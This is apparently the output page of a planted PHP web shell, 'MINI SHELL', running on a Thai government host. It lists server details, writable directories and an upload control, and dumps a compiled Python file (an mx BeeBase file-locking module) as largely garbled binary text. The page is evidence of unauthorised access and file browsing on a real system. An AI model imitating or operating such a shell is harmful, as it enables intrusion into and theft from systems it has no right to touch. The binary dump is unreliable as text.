MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/mx/BeeBase/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/mx/BeeBase/FileLock.pyc
mò
ñÔ5;c@s²dZdklZdkZdkZdkZdkZddd„Zeƒ\ZZ	dei
fd„ƒYZeZdfd	„ƒYZ
e
Zd
„ZedjoeƒndS(
s FileLock - Implements a file lock mechanism that does not depend
               on fcntl.

    Copyright (c) 1997-2000, Marc-Andre Lemburg; mailto:mal@lemburg.com
    See the documentation for further information on copyrights,
    or contact the author. All Rights Reserved.

(s
ExitFunctionsNt	localhosts	127.0.0.1cCs•y
dk}Wntj
o|SnXyC|djo|iƒ}n|i|ƒ}|i|ƒd}Wn|i	j
o|SnX||fSdS(sÿ Returns fully qualified (hostname, ip) for the given hostname.

        If hostname is not given, the default name of the local host
        is chosen.

        Defaults to default in case an error occurs while trying to
        determine the data.

    Ni(
tsockettImportErrortdefaultthostnametNonetgethostnamet
gethostbynametipt
gethostbyaddrterror(RRRR((t7/usr/lib/python2.4/site-packages/mx/BeeBase/FileLock.pyt_fqhostnames

	
	tErrorcBstZRS(N(t__name__t
__module__(((RR
,stSymbolicFileLockc	Bs‰tZdZdZd„Zd„Zddeieeie	i
eed„Z
de	ieeie	i
d„Ze	id„Zd	„ZRS(
sÚ Implements a file lock mechanism that uses symbolic links
        for locking. 

        Note that since the mechanism does not use file system
        function calls this may not always work in the desired
        way.

        The lock is acquired per process, not per thread.

        Instancevariables:
         filename - file the lock applies to
         lockfilename - name of the lock file
         locked - indicator if the lock is in position (1) or not (0)

    icCs3||_|d|_d|_ti|iƒdS(Ns.lockedi(tfilenametselftlockfilenametlockedt
ExitFunctionstregistertunlock(RR((Rt__init__Hs	
	cCs=|io|idƒnyti|iƒWnnXdS(Ni(RRRRt
deregister(R((Rt__del__Ps
iôf0.0001c	Csä|iodSn|i}d|tiƒf}	|ƒ|d}ti
i}ti}
ti}xt||ƒp,y|
|	|ƒWn|j
oqœXPn||ƒ|ƒ|joy"ti||ƒdƒ\}
}Wn+|j
o}|d|i|f‚nXti|ƒ}|
|jo&t|
ddƒd}||j}nd}|o]yti|d	ƒWq²|j
o6}yti|iƒWqc|j
oq®Xqcq²Xn|d
|i|
||f‚qcqcWd|_dS(s= Try to lock the file for this process, waiting 
            timeout ms if necessary.

            Raises an exception if a timeout occurs. Multiple locking
            by the same process is not an error. 

            Note that a non existent path to the file will also result
            in a timeout.

            If the lock is held by a process running on our host, a
            timeout will first invoke a check of the locking
            process. If it is not alive anymore, the lock is removed
            and granted to the current process.
            
        Ns%s:%if0.001it:s!file "%s" could not be locked: %sRs???is$file "%s" is locked by process %s:%i(s???s???( RRRRtostgetpidtlockinfottimettimeouttstoptpathtislinktsymlinktmakelinktreadlinkR
tsleept	sleeptimetstringtsplitthosttlocking_pidR
twhyRtatoiRtother_ipRtsamehosttkilltunlink(RR R(R'R
RR
RRRR%R#R!R+R&R-R0R/R,R((RtlockYsN
			

"
%cCsk|ipdSnd|_y||iƒWn#|j
o|d|i‚nX|o||ƒndS(s Release the lock, letting other processes using this
            mechanism access the file. 

            Multiple unlocking is not an error. Raises an exception if
            the lock file was already deleted by another process.

            After having unlocked the file the process sleeps for
            sleeptime seconds to give other processes a chance to
            acquire the lock too. If the lock will only be used every
            once in a while by the process, it is safe to set it to 0.

        Nislock file "%s" is already gonei(RRR2RR
R
R(R'(RR(R2R
R'R
((RR¢s
	cCs(d|_y||iƒWnnXdS(s/ Remove any existing lock on the file.
        iN(RRR2R(RR2((Rtremove_lock¿s	cCs d|ii|it|ƒfS(Ns<%s for "%s" at %x>(Rt	__class__RRtid(R((Rt__repr__Ës(RRt__doc__RRRRR'R
RR
RRR3R2RR4R7(((RR4s			*I!cCsUtdƒ}xAtdƒD]3}d|G|iƒti|dƒ|iƒqWHdS(Ns	test.locki's%i
f100000.0(RR3trangetiRR'R(R:R3((Rt_testÔs

t__main__(Rs	127.0.0.1(R8RRt
exceptionsRR)RRRRt
StandardErrorR
t
FileLockErrorRtFileLockR;R(
R@R)RRR;RRR
RRR=R?R((Rt?
s
$ž	


Anon7 - 2021